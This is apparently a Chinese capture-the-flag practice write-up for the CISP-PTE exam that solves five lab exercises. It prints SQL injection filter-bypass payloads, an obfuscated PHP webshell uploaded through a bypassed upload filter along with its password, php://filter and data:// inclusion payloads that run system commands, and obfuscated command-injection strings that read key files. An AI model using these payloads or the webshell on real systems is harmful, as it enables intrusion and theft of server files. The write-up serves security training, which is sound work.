文章目录

    • 0x01 基础题目之SQL注入
      • 解题过程
    • 0x02 基础题目之文件上传突破
      • 解题过程
      • 分析
    • 0x03 基础题目之文件包含
      • 解题过程
    • 0x04 基础题目之命令执行
      • 解题过程
    • 0x05 基础题目之日志分析
      • 解题过程
    • 摘抄

0x01 基础题目之SQL注入

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
通过SQL注入漏洞读取/tmp/360/key文件,答案就在文件中。
开始答题!

解题过程

第一步 通过闭合id,确定注入点

id=1)' 回显异常
id=1)'' 回显正常
id=1)%27%27)


第三步 判断页面回显的字段数,进行注释、双写绕过

发现空格被过滤
id=1') group by 5%23
使用/**/代替空格
id=1%27)/**/order/**/by/**/4%23  回显异常
id=1')/**/order/**/by/**/5%23  回显正常



id=1%27)/**/group/**/by/**/4%23  回显异常
id=1')/**/group/**/by/**/5%23  回显正常


第四步 通过union select 查询判断回显字段

使用union发现被过滤
id=-1%27)/**/union/**/select/**/1,2,3,4%23
双写union进行绕过:
id=-1%27)/**/ununionion/**/select/**/1,2,3,4%23
发现回显2,3,4字段

第五步 通过文件读取load_file()获取key

id=-1')/**/ununionion/**/select/**/1,2,load_file('/tmp/360/key'),4%23
id=-1%27)/**/ununionion/**/select/**/1,2,load_file(%27/tmp/360/key%27),4%23

0x02 基础题目之文件上传突破

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
通过你所学到的知识,测试其过WAF滤规则,突破上传获取webshell,答案就在根目录下key.php文件中。
请开始答题!

解题过程

第一步 上传图片,并且抓取数据包

第二步 使用后缀,图片头进行绕过

POST /vulnerabilities/fu1.php HTTP/1.1
Host: 192.168.0.222:82
Content-Length: 801
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.222:82
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryI5MEpgsFAgfBFoIp
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.222:82/vulnerabilities/fu1.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk0g66o9civqh4dpqh7njo3p81
Connection: close

------WebKitFormBoundaryI5MEpgsFAgfBFoIp
Content-Disposition: form-data; name="files"; filename="222.pht"
Content-Type: image/jpeg

GIF89a
<?php $DyWT=create_function(chr(0x42cc/0x1db).base64_decode('cw==').str_rot13('b').base64_decode('bQ==').str_rot13('r'),chr(963-862).base64_decode('dg==').base64_decode('YQ==').str_rot13('y').chr(0x3598/0x157).base64_decode('JA==').chr(0577-0414).chr(01226-01047).base64_decode('bQ==').str_rot13('r').chr(18942/462).chr(24957/423));$DyWT(base64_decode('MzA2M'.'TM1O0'.'BldkF'.'sKCRf'.''.chr(0x10450/0x310).chr(01435-01330).chr(51642/906).chr(0137640/01110).str_rot13('I').''.''.base64_decode('Rg==').chr(0331214/01677).str_rot13('c').chr(52668/627).str_rot13('y').''.'NqWHd'.'aTF0p'.'OzkxO'.'DQwNT'.'s='.''));?>
------WebKitFormBoundaryI5MEpgsFAgfBFoIp--


通过测试发现,请求内容的头是否是头片格式、Php、Php3能传上去,但是无法连接成功,返回包会原样输出,无法解析成php
上传pht发现可以成功

http://192.168.0.222:82/vulnerabilities/222.pht

第三步 进行连接

<?php // 使用时请删除此行, 连接密码: iNSjXwZL ?>
<?php $DyWT=create_function(chr(0x42cc/0x1db).base64_decode('cw==').str_rot13('b').base64_decode('bQ==').str_rot13('r'),chr(963-862).base64_decode('dg==').base64_decode('YQ==').str_rot13('y').chr(0x3598/0x157).base64_decode('JA==').chr(0577-0414).chr(01226-01047).base64_decode('bQ==').str_rot13('r').chr(18942/462).chr(24957/423));$DyWT(base64_decode('MzA2M'.'TM1O0'.'BldkF'.'sKCRf'.''.chr(0x10450/0x310).chr(01435-01330).chr(51642/906).chr(0137640/01110).str_rot13('I').''.''.base64_decode('Rg==').chr(0331214/01677).str_rot13('c').chr(52668/627).str_rot13('y').''.'NqWHd'.'aTF0p'.'OzkxO'.'DQwNT'.'s='.''));?>

分析

<?php
	
	//黑名单验证,大小写绕过
	function step1($files)
	{
    	$filename = $files["name"];
    	$ext = substr($filename,strripos($filename,'.') + 1);
    	if ($ext != "php")
    	{
    		return true;
    	}
    	return false;
	}

	//验证MIME头,修改数据包绕过
	function step2($files)
	{
		if($files['type'] == "image/gif" || $files['type'] == "image/jpeg" || $files['type'] == "image/png") 
		{
			return true;
		}
		return false;
	}

	//验证文件内容,不能包含eval等敏感函数名,使用其他内容,文件读写
	function step3($files)
	{
		$content = file_get_contents($files["tmp_name"]);



		if (strpos($content, "eval") === false && strpos($content, "assert") === false )
		{
			return true;
		}
		return false;
	}


    //验证文件头
	function step4($files)
	{
		$png_header = "89504e47";
		$jpg_header = "ffd8FFE0";
		$gif_header = "47494638";

		$header = bin2hex(file_get_contents ( $files["tmp_name"] , 0 , NULL , 0 , 4 )); 

		if (strcasecmp($header,$png_header) == 0 || strcasecmp($header,$jpg_header) == 0 || strcasecmp($header,$gif_header) == 0) 
		{
			return true;
		}
		return false;
	}
	
    function judge($files)
    {
    
	    if (step1($files) && step2($files)  && step4($files))
	    {
	    	return true;
	    }
	    return false;
	    
    }

?>

1、黑名单验证,可以通过大小写绕过
2、验证MIME头,,必须是type里面的(mage/gif、image/jpeg、image/png)可以修改数据包绕过
3、验证文件内容,必须是tmp_name里面的(eval、assert),可以使用其他内容,文件读写
4、验证文件头

0x03 基础题目之文件包含

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
通过你所学到的知识,测试该网站可能存在的包含漏洞,尝试获取webshell,答案就在根目录下key.php文件中。

请开始答题!

解题过程

第一步 发现是通过file参数,想到读取文件

第二步 PHP://filter协议读取

php://filter/read=convert.base64-encode/resource=../key.php

第三步 使用base64解码,查看key

R2V0IGl0IQ0KPD9waHANCg0KLy9rZXk6NnUzeDl0MnANCj8+
base64解码:
Get it!
<?php

//key:6u3x9t2p
?>

第四步 data:text/plain协议读取

查看当前目录下的文件
data://text/plain,<?php print_r(scandir(".")); ?>
查看当前上级目录下的文件
data://text/plain,<?php print_r(scandir("..")); ?>
查看key.php内容
data://text/plain,<?php @eval(system('cat%20../key.php')); ?> 
data://text/plain,<?php system('cat%20../key.php'); ?>
查看当前用户权限
data://text/plain,<?php system(whoami) ?>



0x04 基础题目之命令执行

命令执行是指攻击者通过浏览器或者其他客户端软件提交一些cmd命令(或者bash命令)至服务器程序,服务器程序通过system、eval、exec等函数直接或者间接地调用cmd.exe执行攻击者提交的命令。
通过你所学到的知识,通过执行Linux命令获取webshell,答案就在根目录下key.php文件中。
请开始答题!

解题过程

第一步 构造payload

127.0.0.1 | tac ../key.php

第二步 其他payload

127.0.0.1 | less ../key.php
127.0.0.1 | m'or'e ../key.php
127.0.0.1 | tail ../key.php
127.0.0.1 | v''i ../key.php
127.0.0.1 | c'a't ../key.php
127.0.0.1 | head ../key.php
127.0.0.1 | nl ../key.php
|od -c ../key.php
|xxd ../key.php
|xxd ../key.php|grep key
|grep "key" ../key.php
|sed -n '1,5p' ../key.php|grep key



0x05 基础题目之日志分析

最近管理员很苦恼,发现自己的服务器被人入侵了,但是不知道原因,你能帮帮他吗?
管理员把日志保存下来了,大概分析了一下,有两个IP对服务器进行了攻击, 感觉攻击者的IP是 172.16.12.12 。
日志下载地址:当前目录下的 access.log
请开始答题!

解题过程

第一步 下载日志文件,并且导入excel中

http://192.168.0.222:85/access.log

第二步 更具题目要求,过滤源IP,对内容进行,进行分类(便于筛选)

第三步 过滤200成功的状态码,发现请求路径/adminlogin.php,访问

第四步 发现后台,模糊测试获取口令

http://192.168.0.222:85/adminlogin.php
admin/password123

第五步 进入后台,发现key

摘抄


待人胸怀宽广、豁达大度,是一个人具有良好修养的外在表现。
予人宽容,不仅能得到真情,更能赢得尊重。
把眼光放长远,就不会囿于眼前的小事。
少些指责、多些体谅,方能修得胸中雅量,蓄得一生顺遂。
不在一些无关紧要的事情上斤斤计较,专注于目标,才更容易获得成功。
---《宽容豁达》


更多推荐

CISP-PTE学习总结之基础练习题(四)